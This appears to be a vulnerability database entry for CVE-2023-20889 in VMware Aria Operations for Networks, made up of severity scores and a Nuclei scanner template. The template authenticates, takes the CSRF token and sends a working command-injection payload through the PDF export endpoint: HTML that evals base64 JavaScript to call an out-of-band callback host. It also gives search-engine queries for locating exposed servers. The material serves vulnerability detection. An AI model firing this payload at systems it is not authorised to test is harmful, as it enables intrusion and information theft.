VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability

2023-06-2708:41:53

ProjectDiscovery

github.com

cve2023

vmware

aria

disclosure

authenticated

rce

oast

intrusive

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.5 High

AI Score

Confidence

High

0.488 Medium

EPSS

Percentile

97.5%

JSON

Aria Operations for Networks contains an information disclosure vulnerability. A malicious actor with network access to VMware Aria Operations for Networks may be able to perform a command injection attack resulting in information disclosure.

id: CVE-2023-20889

info:
  name: VMware Aria Operations for Networks - Code Injection Information Disclosure Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Aria Operations for Networks contains an information disclosure vulnerability. A malicious actor with network access to VMware Aria Operations for Networks may be able to perform a command injection attack resulting in information disclosure.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-23-842/
    - https://www.vmware.com/security/advisories/VMSA-2023-0012.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20889
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-20889
    cwe-id: CWE-77
    epss-score: 0.37918
    epss-percentile: 0.9721
    cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: vrealize_network_insight
    shodan-query:
      - title:"VMware Aria Operations"
      - http.title:"vmware vrealize network insight"
      - http.title:"vmware aria operations"
    fofa-query:
      - title="vmware vrealize network insight"
      - title="vmware aria operations"
    google-query:
      - intitle:"vmware aria operations"
      - intitle:"vmware vrealize network insight"
  tags: cve2023,cve,vmware,aria,disclosure,authenticated,rce,oast,intrusive
variables:
  payload: location='http://{{interactsh-url}}'

http:
  - raw:
      - |
        POST /api/auth/login HTTP/2
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8
        X-Vrni-Csrf-Token: null

        {"username":"{{username}}","password":"{{password}}","domain":"localdomain"}
      - |
        POST /api/pdfexport HTTP/2
        Host: {{Hostname}}
        X-Vrni-Csrf-Token: {{csrf}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFkpSYDWZ5w9YNjmh

        ------WebKitFormBoundaryFkpSYDWZ5w9YNjmh
        Content-Disposition: form-data; name="{{randstr}}"

        <!DOCTYPE HTML>
        <html>
        <head>
        <title>Test</title>
        </head>
        <body>
        <p data-vrni='vRealize'><style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="eval(atob('{{base64(payload)}}'))"></xss></p>
        </body>
        </html>
        ------WebKitFormBoundaryFkpSYDWZ5w9YNjmh--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
          - http

      - type: word
        part: header_2
        words:
          - application/octet-stream

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - csrfToken":"([a-z0-9A-Z/+=]+)"
        internal: true
        part: body
# digest: 4a0a00473045022100cc967f4799e1f52f790f398c5f0b0a947724d461556ccc1708d0cb829adac397022018b0efe5f3c5116e10afaa6b1d72e44f5d01446a662bbd438ef71d8324b1fd5d:922c64590222798bb761d5b6d8e72950